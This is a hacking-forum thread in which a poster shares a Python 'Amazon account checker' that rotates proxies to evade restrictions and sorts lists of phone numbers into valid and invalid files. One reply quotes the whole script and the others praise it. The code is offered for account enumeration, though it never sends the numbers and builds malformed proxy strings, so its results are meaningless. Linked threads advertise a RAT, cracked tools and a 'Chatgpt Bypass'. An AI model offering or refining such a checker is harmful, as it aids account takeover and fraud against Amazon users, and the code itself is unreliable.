Temporary Advertisements:
Ad
Ad
Ad
Amazon Account Checker Script with Proxies
by Friedx - Saturday June 8, 2024 at 08:35 PM
#1
I've developed a Python script that checks the validity of Amazon account numbers using proxies. It's designed to help verify accounts quickly and efficiently. Here's a brief overview of how it works:

Features:

Uses proxies (HTTP/SOCKS5) for anonymity and bypassing restrictions.
Multi-threaded execution for fast processing.
Generates separate files (valid.txt and invalid.txt) for results.
Requirements:

Python 3.x
requests, tkinter libraries

Code:

import os
import requests
import concurrent.futures
import datetime
import random
import string
import tkinter as tk
from tkinter import filedialog

def check_amazon_account(number, proxy, result_folder):
    url = "https://www.amazon.com/ap/captcha"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
    }
    proxies = {
        "http": proxy,
        "https": proxy
    }
    try:
        response = requests.get(url, headers=headers, proxies=proxies, timeout=10)
        if response.status_code == 200:
            with open(os.path.join(result_folder, 'valid.txt'), 'a') as f:
                f.write(number + '\n')
            print(f"[VALID] {number}")
        else:
            with open(os.path.join(result_folder, 'invalid.txt'), 'a') as f:
                f.write(number + '\n')
            print(f"[INVALID] {number}")
    except Exception as e:
        print(f"[ERROR] {number}: {e}")

def select_file():
    root = tk.Tk()
    root.withdraw()
    file_path = filedialog.askopenfilename()
    return file_path

def main():
    contact_file = select_file()
    proxy_file = select_file()
    proxy_type = input("Enter the type of proxy (HTTP/SOCKS5): ")
    num_threads = int(input("Enter the number of threads: "))

   
    folder_name = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
    result_folder = os.path.join('result', folder_name)
    os.makedirs(result_folder)

   
    with open(contact_file, 'r') as f:
        numbers = [line.strip() for line in f.readlines()]

   
    with open(proxy_file, 'r') as f:
        proxies = [line.strip() for line in f.readlines()]

    with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
        for number in numbers:
            proxy_info = proxies[random.randint(0, len(proxies)-1)].split(":")
            proxy = f"http://{proxy_info[0]}:{proxy_info[1]}:{proxy_info[2]}:{proxy_info[3]}@{proxy_info[4]}"
            executor.submit(check_amazon_account, number, proxy, result_folder)

if __name__ == "__main__":
    main()

How to Use:

1. Download Python and install the required libraries (requests, tkinter).

2. Run the script.

3. Load the mobile numbers file and then load the proxies file.

Feel free to tweak and improve it as needed. Let me know if you have any questions or suggestions!
Reply
#2
(Jun 08, 2024, 08:35 PM)Friedx Wrote: I've developed a Python script that checks the validity of Amazon account numbers using proxies. It's designed to help verify accounts quickly and efficiently. Here's a brief overview of how it works:

Features:

Uses proxies (HTTP/SOCKS5) for anonymity and bypassing restrictions.
Multi-threaded execution for fast processing.
Generates separate files (valid.txt and invalid.txt) for results.
Requirements:

Python 3.x
requests, tkinter libraries

Code:

import os
import requests
import concurrent.futures
import datetime
import random
import string
import tkinter as tk
from tkinter import filedialog

def check_amazon_account(number, proxy, result_folder):
    url = "https://www.amazon.com/ap/captcha"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
    }
    proxies = {
        "http": proxy,
        "https": proxy
    }
    try:
        response = requests.get(url, headers=headers, proxies=proxies, timeout=10)
        if response.status_code == 200:
            with open(os.path.join(result_folder, 'valid.txt'), 'a') as f:
                f.write(number + '\n')
            print(f"[VALID] {number}")
        else:
            with open(os.path.join(result_folder, 'invalid.txt'), 'a') as f:
                f.write(number + '\n')
            print(f"[INVALID] {number}")
    except Exception as e:
        print(f"[ERROR] {number}: {e}")

def select_file():
    root = tk.Tk()
    root.withdraw()
    file_path = filedialog.askopenfilename()
    return file_path

def main():
    contact_file = select_file()
    proxy_file = select_file()
    proxy_type = input("Enter the type of proxy (HTTP/SOCKS5): ")
    num_threads = int(input("Enter the number of threads: "))

   
    folder_name = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
    result_folder = os.path.join('result', folder_name)
    os.makedirs(result_folder)

   
    with open(contact_file, 'r') as f:
        numbers = [line.strip() for line in f.readlines()]

   
    with open(proxy_file, 'r') as f:
        proxies = [line.strip() for line in f.readlines()]

    with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
        for number in numbers:
            proxy_info = proxies[random.randint(0, len(proxies)-1)].split(":")
            proxy = f"http://{proxy_info[0]}:{proxy_info[1]}:{proxy_info[2]}:{proxy_info[3]}@{proxy_info[4]}"
            executor.submit(check_amazon_account, number, proxy, result_folder)

if __name__ == "__main__":
    main()

Feel free to tweak and improve it as needed. Let me know if you have any questions or suggestions!

Too bad it doesn't include proxies, but other than that, great stuff!
Reply
#3
It does include the proxy feature, but you need to import your own proxies. If you have any suggestions to improve it, you can do so yourself, as I have already shared it with the public.
Reply
#4
nice work, thanks a lot for this great share.
Reply
#5
If any suggestion to improve this script let me know.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  BLTools 2.8.3 [Cracked] With 23 - 24 Projects APExploits 125 14,366 Oct 20, 2026, 02:55 AM
Last Post: tigwi25
  [FREE RAT] Xeno-Rat | Stable | HVNC | Open-Source depodaapre 276 31,046 Oct 19, 2026, 03:32 PM
Last Post: r00t3d
  COLLECTION OF BEST TOOLS FOR HACKING bloodymary71 130 10,945 Oct 19, 2026, 10:54 AM
Last Post: QueenUWUbash
  ⭐MINECRAFT CHECKER[MICROSOFT] - MFA,SFA, HYPIXEL, CAPES CAPTURE⭐ ShantoXBD 117 12,691 Oct 19, 2026, 09:21 AM
Last Post: UnknownGUY54
  Chatgpt Bypass kondor34 258 36,034 Oct 18, 2026, 08:41 PM
Last Post: ahmedibrahim2027

Forum Jump:


 Users browsing this forum: